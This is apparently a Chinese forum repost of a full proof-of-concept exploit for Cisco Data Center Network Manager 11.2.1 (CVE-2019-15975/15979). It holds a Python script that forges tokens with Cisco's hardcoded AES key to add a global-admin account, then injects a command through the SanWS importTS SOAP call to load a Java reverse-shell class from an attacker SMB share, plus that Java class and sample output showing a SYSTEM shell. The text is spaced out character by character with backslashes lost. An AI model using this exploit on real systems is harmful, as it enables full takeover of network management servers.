[28917] 2021-05-06_思科数据中心网络管理器SanWSimportTS命令注入远程执行代码漏洞

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2021-05-06_思科数据中心网络管理器SanWSimportTS命令注入远程执行代码漏洞 S a n W S   i m p o r t T S O t s   2 0 2 1 - 0 5 - 0 6 # ! / u s r / b i n / p y t h o n " " " S a n W S   i m p o r t T S C i s c o   D C N M   1 1 . 2 . 1   W i n d o w s 6 4 - 1 1 . 2 1 - 2 0 1 9 6 1 8 - d c n m   - i n s t a l l e r - x 6 4 - w i n d o w s . 1 1 . 2 . 1 . e x e . z i p - 1 6 1 9 . 3 6   M B 1 6 9 8 0 2 2 1 0 0 - M D 5 e 5 0 f 8 a 6 b 2 b 3 b 0 1 4 e c 0 2 2 f e 4 0 f a b c b 6 d 5 1 C V E - 2 0 1 9 - 1 5 9 7 5   /   Z D I - 2 0   - 0 0 3 2 C V E - 2 0 1 9 - 1 5 9 7 9   /   Z D I - 2 0 - 1 0 0 N o t e s : = = = = = = S i . j a v a   n e e d s   t o   b e   c o m p i l e d   a g a i n s t   J a v a   8   ( t h e   t a r g e t   u s e d   1 . 8 u 2 0 1 ) : i m p o r t   j a v a . i o . I O E x c e p t i o n ; i m p o r t   j a v a . i o . I n p u t S t r e a m ; i m p o r t   j a v a . i o . O u t p u t S t r e a m ; i m p o r t   j a v a . n e t . S o c k e t ; p u b l i c   c l a s s   S i   {         s t a t i c {                 t r y   {                         S t r i n g   h o s t   =   " 1 9 2 . 1 6 8 . 1 0 0 . 1 5 9 " ;                         i n t   p o r t   =   1 3 3 7 ;                         S t r i n g   c m d   =   " c m d . e x e " ;                         P r o c e s s   p   =   n e w   P r o c e s s B u i l d e r ( c m d ) . r e d i r e c t E r r o r S t r e a m ( t r u e ) . s t a r t ( ) ;                         S o c k e t   s   =   n e w   S o c k e t ( h o s t , p o r t ) ;                         I n p u t S t r e a m   p i   =   p . g e t I n p u t S t r e a m ( ) ,   p e   =   p . g e t E r r o r S t r e a m ( ) ,   s i   =   s . g e t I n p u t S t r e a m ( ) ;                         O u t p u t S t r e a m   p o   =   p . g e t O u t p u t S t r e a m ( ) ,   s o   =   s . g e t O u t p u t S t r e a m ( ) ;                         w h i l e ( ! s . i s C l o s e d ( ) ) {                                 w h i l e ( p i . a v a i l a b l e ( ) > 0 ) {                                         s o . w r i t e ( p i . r e a d ( ) ) ;                                 }                                 w h i l e ( p e . a v a i l a b l e ( ) > 0 ) {                                         s o . w r i t e ( p e . r e a d ( ) ) ;                                 }                                 w h i l e ( s i . a v a i l a b l e ( ) > 0 ) {                                         p o . w r i t e ( s i . r e a d ( ) ) ;                                 }                                 s o . f l u s h ( ) ;                                 p o . f l u s h ( ) ;                                 T h r e a d . s l e e p ( 5 0 ) ;                                 t r y   {                                         p . e x i t V a l u e ( ) ;                                         b r e a k ;                                 } c a t c h   ( E x c e p t i o n   e ) { }                         }                         p . d e s t r o y ( ) ;                         s . c l o s e ( ) ;                 } c a t c h   ( I O E x c e p t i o n   |   I n t e r r u p t e d E x c e p t i o n   e ) {   }         } } E x a m p l e : = = = = = = = = 1 .   M o d i f y   t h e   a b o v e   S i . j a v a   t o   c o n t a i n   y o u r   c o n n e c t b a c k   i p   a n d   p o r t 2 .   C o m p i l e   t h e   a b o v e   S i . j a v a   c l a s s   w i t h   J a v a   8   a n d   s t o r e   i t   i n   a n   a t t a c k e r   c o n t r o l l e d   s h a r e 3 .   L a u n c h   t h e   p o c . p y   a g a i n s t   y o u r   t a r g e t   u s i n g   t h e   s h a r e s a t u r n : ~   m r _ m e $   . / p o c . p y   ( + )   u s a g e :   . / p o c . p y   < t a r g e t >   < c o n n e c t b a c k : p o r t >   < s m b s e r v e r >   < s m b p a t h > ( + )   e g :   . / p o c . p y   1 9 2 . 1 6 8 . 1 0 0 . 1 2 2   1 9 2 . 1 6 8 . 1 0 0 . 1 5 9 : 1 3 3 7   v m w a r e - h o s t   ' S h a r e d   F o l d e r s t o o l s ' s a t u r n : ~   m r _ m e $   . / p o c . p y   1 9 2 . 1 6 8 . 1 0 0 . 1 2 2   1 9 2 . 1 6 8 . 1 0 0 . 1 5 9 : 1 3 3 7   v m w a r e - h o s t   ' S h a r e d   F o l d e r s t o o l s ' ( + )   a t t e m p t i n g   a u t h   b y p a s s   1 ( + )   b y p a s s e d   a u t h !   a d d e d   a   g l o b a l   a d m i n   h a c k e r : H a c k e d 1 2 3 ( + )   a t t e m p t i n g   t o   l o a d   c l a s s   f r o m   v m w a r e - h o s t S h a r e d   F o l d e r s t o o l s S i . c l a s s ( + )   s t a r t i n g   h a n d l e r   o n   p o r t   1 3 3 7 ( + )   c o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 1 0 0 . 1 2 2 ( + )   p o p   t h y   s h e l l ! M i c r o s o f t   W i n d o w s   [ V e r s i o n   6 . 3 . 9 6 0 0 ] ( c )   2 0 1 3   M i c r o s o f t   C o r p o r a t i o n .   A l l   r i g h t s   r e s e r v e d .
C : P r o g r a m   F i l e s C i s c o   S y s t e m s d c m w i l d f l y - 1 0 . 1 . 0 . F i n a l b i n s e r v i c e > w h o a m i w h o a m i n t   a u t h o r i t y s y s t e m C : P r o g r a m   F i l e s C i s c o   S y s t e m s d c m w i l d f l y - 1 0 . 1 . 0 . F i n a l b i n s e r v i c e > " " " i m p o r t   r e i m p o r t   o s i m p o r t   s y s i m p o r t   t i m e i m p o r t   b a s e 6 4 i m p o r t   s o c k e t i m p o r t   r e q u e s t s i m p o r t   c a l e n d a r i m p o r t   t e l n e t l i b f r o m   u u i d   i m p o r t   u u i d 4 f r o m   t h r e a d i n g   i m p o r t   T h r e a d f r o m   C r y p t o . C i p h e r   i m p o r t   A E S f r o m   x m l . e t r e e   i m p o r t   E l e m e n t T r e e f r o m   d a t e t i m e   i m p o r t   d a t e t i m e ,   t i m e d e l t a f r o m   r e q u e s t s . p a c k a g e s . u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( I n s e c u r e R e q u e s t W a r n i n g ) c l a s s   A E S C i p h e r :         d e f   _ _ i n i t _ _ ( s e l f ) :                 #   C i s c o ' s   h a r d c o d e d   k e y                 s e l f . k e y   =   " s 9 1 z E Q m b 3 0 5 F ! 9 0 a "                 s e l f . b s   =   1 6         d e f   _ p a d ( s e l f ,   s ) :                 r e t u r n   s   +   ( s e l f . b s   -   l e n ( s )   %   s e l f . b s )   *   c h r ( s e l f . b s   -   l e n ( s )   %   s e l f . b s )         d e f   e n c r y p t ( s e l f ,   r a w ) :                 r a w   =   s e l f . _ p a d ( r a w )                 i v   =   " x 0 0 "   *   0 x 1 0                 c i p h e r   =   A E S . n e w ( s e l f . k e y ,   A E S . M O D E _ C B C ,   i v )                 r e t u r n   b a s e 6 4 . b 6 4 e n c o d e ( c i p h e r . e n c r y p t ( r a w ) ) d e f   m a k e _ r a w _ t o k e n ( t a r g e t ) :         " " "   c r a f t   o u r   t o k e n   " " "         k e y   =   " S o u r c e   I n c i t e "         u u i d   =   s t r ( u u i d 4 ( ) ) . r e p l a c e ( " - " , " " ) [ 0 : 2 0 ]         t i m e   =   l e a k _ t i m e ( t a r g e t )         r e t u r n   " % s - % s - % s "   %   ( k e y ,   u u i d ,   t i m e ) d e f   b y p a s s _ a u t h ( t a r g e t ,   t o k e n ,   u s r ,   p w d ) :         " " "   w e   u s e   t h i s   p r i m i t i v e   t o   f u l l y   b y p a s s   a u t h   " " "         g l o b a l   u s e r _ a d d e d _ a l r e a d y         d   =   {                 " u s e r N a m e "   :   u s r ,                 " p a s s w o r d "   :   p w d ,                 " r o l e N a m e "   :   " g l o b a l - a d m i n "         }         h   =   {   " a f w - t o k e n "   :   t o k e n   }         u r i   =   " h t t p s : / / % s / f m / f m r e s t / d b a d m i n / a d d U s e r "   %   t a r g e t         r   =   r e q u e s t s . p o s t ( u r i ,   d a t a = d ,   h e a d e r s = h ,   v e r i f y = F a l s e )         t r y :                 j s o n   =   r . j s o n ( )         e x c e p t   V a l u e E r r o r :                 r e t u r n   F a l s e         i f   j s o n [ " r e s u l t M e s s a g e " ]   = =   " S u c c e s s " :                 u s e r _ a d d e d _ a l r e a d y   =   F a l s e                 r e t u r n   T r u e         e l i f   j s o n [ " r e s u l t M e s s a g e " ]   = =   " U s e r   a l r e a d y   e x i s t s . " :                 u s e r _ a d d e d _ a l r e a d y   =   T r u e                 r e t u r n   T r u e         r e t u r n   F a l s e d e f   l e a k _ t i m e ( t a r g e t ) :         " " "   l e a k   t h e   t i m e   f r o m   t h e   s e r v e r   ( n o t   r e a l l y   n e e d e d )   " " "         u r i   =   " h t t p s : / / % s / "   %   t a r g e t         r   =   r e q u e s t s . g e t ( u r i ,   v e r i f y = F a l s e )         r _ t i m e   =   d a t e t i m e . s t r p t i m e ( r . h e a d e r s [ ' D a t e ' ] [ : - 4 ] ,   ' % a ,   % d   % b   % Y   % H : % M : % S ' )         r e t u r n   c a l e n d a r . t i m e g m ( r _ t i m e . t i m e t u p l e ( ) ) d e f   g e n _ t o k e n ( t a r g e t ,   u s r ,   p w d ) :         " " "   t h i s   a u t h e n t i c a t e s   v i a   t h e   S O A P   e n d p o i n t   " " "         s o a p _ b o d y     =   ' < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / "   x m l n s : e p = " h t t p : / / e p . j a x w s . d c b u . c i s c o . c o m / " > '
        s o a p _ b o d y   + =   ' t < s o a p e n v : H e a d e r / > '         s o a p _ b o d y   + =   ' t < s o a p e n v : B o d y > '         s o a p _ b o d y   + =   ' t t < e p : r e q u e s t T o k e n > '         s o a p _ b o d y   + =   ' t t t < u s e r n a m e > % s < / u s e r n a m e > '   %   u s r         s o a p _ b o d y   + =   ' t t t < p a s s w o r d > % s < / p a s s w o r d > '   %   p w d         s o a p _ b o d y   + =   ' t t t < e x p i r a t i o n > 1 0 0 0 0 0 < / e x p i r a t i o n > '         s o a p _ b o d y   + =   ' t t < / e p : r e q u e s t T o k e n > '         s o a p _ b o d y   + =   ' t < / s o a p e n v : B o d y > '         s o a p _ b o d y   + =   ' < / s o a p e n v : E n v e l o p e > '         u r i   =   " h t t p s : / / % s / L o g o n W S S e r v i c e / L o g o n W S "   %   t a r g e t         r   =   r e q u e s t s . p o s t ( u r i ,   d a t a = s o a p _ b o d y ,   v e r i f y = F a l s e )         t r e e   =   E l e m e n t T r e e . f r o m s t r i n g ( r . c o n t e n t )         f o r   e l e m   i n   t r e e . i t e r ( ) :                 i f   e l e m . t a g   = =   " r e t u r n " :                         r e t u r n   e l e m . t e x t         r e t u r n   F a l s e d e f   c r a f t _ s o a p _ h e a d e r ( t a r g e t ,   u s r ,   p w d ) :         " " "   t h i s   g e n e r a t e s   t h e   s o a p   h e a d e r   " " "         s o a p _ h e a d e r     =   ' t < S O A P - E N V : H e a d e r   x m l n s : S O A P - E N V = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / "   x m l n s : x s d = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e " > '         s o a p _ h e a d e r   + =   ' < m : t o k e n   x m l n s : m = " h t t p : / / e p . j a x w s . d c b u . c i s c o . c o m / " > % s < / m : t o k e n > '   %   g e n _ t o k e n ( t a r g e t ,   u s r ,   p w d )         s o a p _ h e a d e r   + =   ' t < / S O A P - E N V : H e a d e r > '         r e t u r n   s o a p _ h e a d e r d e f   l o a d _ r e m o t e _ c l a s s ( t a r g e t ,   s m b ,   u s r ,   p w d ) :         " " "   t h i s   t r i g g e r s   t h e   c m d i   " " "         s o a p _ b o d y     =   ' < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / "   x m l n s : e p = " h t t p : / / e p . s a n . j a x w s . d c b u . c i s c o . c o m / " > '         s o a p _ b o d y   + =   c r a f t _ s o a p _ h e a d e r ( t a r g e t ,   u s r ,   p w d )         s o a p _ b o d y   + =   ' t < s o a p e n v : B o d y > '         s o a p _ b o d y   + =   ' t t < e p : i m p o r t T S > '         s o a p _ b o d y   + =   ' t t t < c e r t F i l e > "   - p r o v i d e r c l a s s   S i   - p r o v i d e r p a t h   " % s < / c e r t F i l e > '   %   s m b         s o a p _ b o d y   + =   ' t t t < s e r v e r I P A d d r e s s > < / s e r v e r I P A d d r e s s > '         s o a p _ b o d y   + =   ' t t < / e p : i m p o r t T S > '         s o a p _ b o d y   + =   ' t < / s o a p e n v : B o d y > '         s o a p _ b o d y   + =   ' < / s o a p e n v : E n v e l o p e > '         u r i   =   " h t t p s : / / % s / S a n W S S e r v i c e / S a n W S "   %   t a r g e t         r   =   r e q u e s t s . p o s t ( u r i ,   d a t a = s o a p _ b o d y ,   v e r i f y = F a l s e )         t r e e   =   E l e m e n t T r e e . f r o m s t r i n g ( r . c o n t e n t )         f o r   e l e m   i n   t r e e . i t e r ( ) :                 i f   e l e m . t a g   = =   " r e s u l t M e s s a g e " :                         i f   e l e m . t e x t   = =   " S u c c e s s " :                                 r e t u r n   T r u e         r e t u r n   F a l s e d e f   h a n d l e r ( l p ) :         p r i n t   " ( + )   s t a r t i n g   h a n d l e r   o n   p o r t   % d "   %   l p         t   =   t e l n e t l i b . T e l n e t ( )         s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )         s . b i n d ( ( " 0 . 0 . 0 . 0 " ,   l p ) )         s . l i s t e n ( 1 )         c o n n ,   a d d r   =   s . a c c e p t ( )         p r i n t   " ( + )   c o n n e c t i o n   f r o m   % s "   %   a d d r [ 0 ]         t . s o c k   =   c o n n         p r i n t   " ( + )   p o p   t h y   s h e l l ! "         t . i n t e r a c t ( ) d e f   e x e c _ c o d e ( t ,   l p ,   s ,   u s r ,   p w d ) :         h a n d l e r t h r   =   T h r e a d ( t a r g e t = h a n d l e r ,   a r g s = ( l p , ) )         h a n d l e r t h r . s t a r t ( )         l o a d _ r e m o t e _ c l a s s ( t ,   s ,   u s r ,   p w d ) d e f   m a i n ( ) :         u s r   =   " h a c k e r "         p w d   =   " H a c k e d 1 2 3 "         i f   l e n ( s y s . a r g v )   ! =   5 :                 p r i n t   " ( + )   u s a g e :   % s   < t a r g e t >   < c o n n e c t b a c k : p o r t >   < s m b s e r v e r >   < s m b p a t h > "   %   s y s . a r g v [ 0 ]                 p r i n t   " ( + )   e g :   % s   1 9 2 . 1 6 8 . 1 0 0 . 1 2 2   1 9 2 . 1 6 8 . 1 0 0 . 1 5 9 : 1 3 3 7   v m w a r e - h o s t   ' S h a r e d   F o l d e r s t o o l s ' "   %   s y s . a r g v [ 0 ]                 s y s . e x i t ( 1 )         t   =   s y s . a r g v [ 1 ]         c   =   s y s . a r g v [ 2 ]         s   =   " % s % s "   %   ( s y s . a r g v [ 3 ] ,   s y s . a r g v [ 4 ] )         i   =   0         i f   n o t   " : "   i n   c :                 p r i n t   " ( + )   u s i n g   d e f a u l t   c o n n e c t b a c k   p o r t   4 4 4 4 "                 l s   =   c                 l p   =   4 4 4 4         e l s e :                 i f   n o t   c . s p l i t ( " : " ) [ 1 ] . i s d i g i t ( ) :                         p r i n t   " ( - )   % s   i s   n o t   a   p o r t   n u m b e r ! "   %   c b . s p l i t ( " : " ) [ 1 ]                         s y s . e x i t ( - 1 )
h t t p s : / / s r c i n c i t e . i o / p o c s / c v e - 2 0 1 9 - 1 5 9 7 5 . p y . t x t                         s y s . e x i t ( - 1 )                 l s   =   c . s p l i t ( " : " ) [ 0 ]                 l p   =   i n t ( c . s p l i t ( " : " ) [ 1 ] )         #   I n h e r i t a b l e T h r e a d L o c a l . c h i l d V a l u e   p e r f o r m s   a   ' s h a l l o w   c o p y '   a n d   c a u s e s   a   s m a l l   r a c e   c o n d i t i o n         w h i l e   1 :                 i   + =   1                 p r i n t   " ( + )   a t t e m p t i n g   a u t h   b y p a s s   % d "   %   i                 r a w   =   m a k e _ r a w _ t o k e n ( t )                 c r y p t o r   =   A E S C i p h e r ( )                 t o k e n   =   c r y p t o r . e n c r y p t ( r a w )                 i f   b y p a s s _ a u t h ( t ,   t o k e n ,   u s r ,   p w d ) :                         i f   n o t   u s e r _ a d d e d _ a l r e a d y :                                 p r i n t   " ( + )   b y p a s s e d   a u t h !   a d d e d   a   g l o b a l   a d m i n   % s : % s "   %   ( u s r ,   p w d )                         e l s e :                                 p r i n t   " ( + )   w e   p r o b a b l y   a l r e a d y   b y p a s s e d   a u t h !   t r y   t h e   a c c o u n t   % s : % s "   %   ( u s r ,   p w d )                         b r e a k                 s y s . s t d o u t . w r i t e ( ' x 1 b [ 1 A ' )                 s y s . s t d o u t . w r i t e ( ' x 1 b [ 2 K ' )         #   w e   h a v e   b y p a s s e d   t h e   a u t h e n t i c a t i o n   a t   t h i s   p o i n t         p r i n t   " ( + )   a t t e m p t i n g   t o   l o a d   c l a s s   f r o m   % s S i . c l a s s "   %   s         e x e c _ c o d e ( t ,   l p ,   s ,   u s r ,   p w d ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         m a i n ( )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则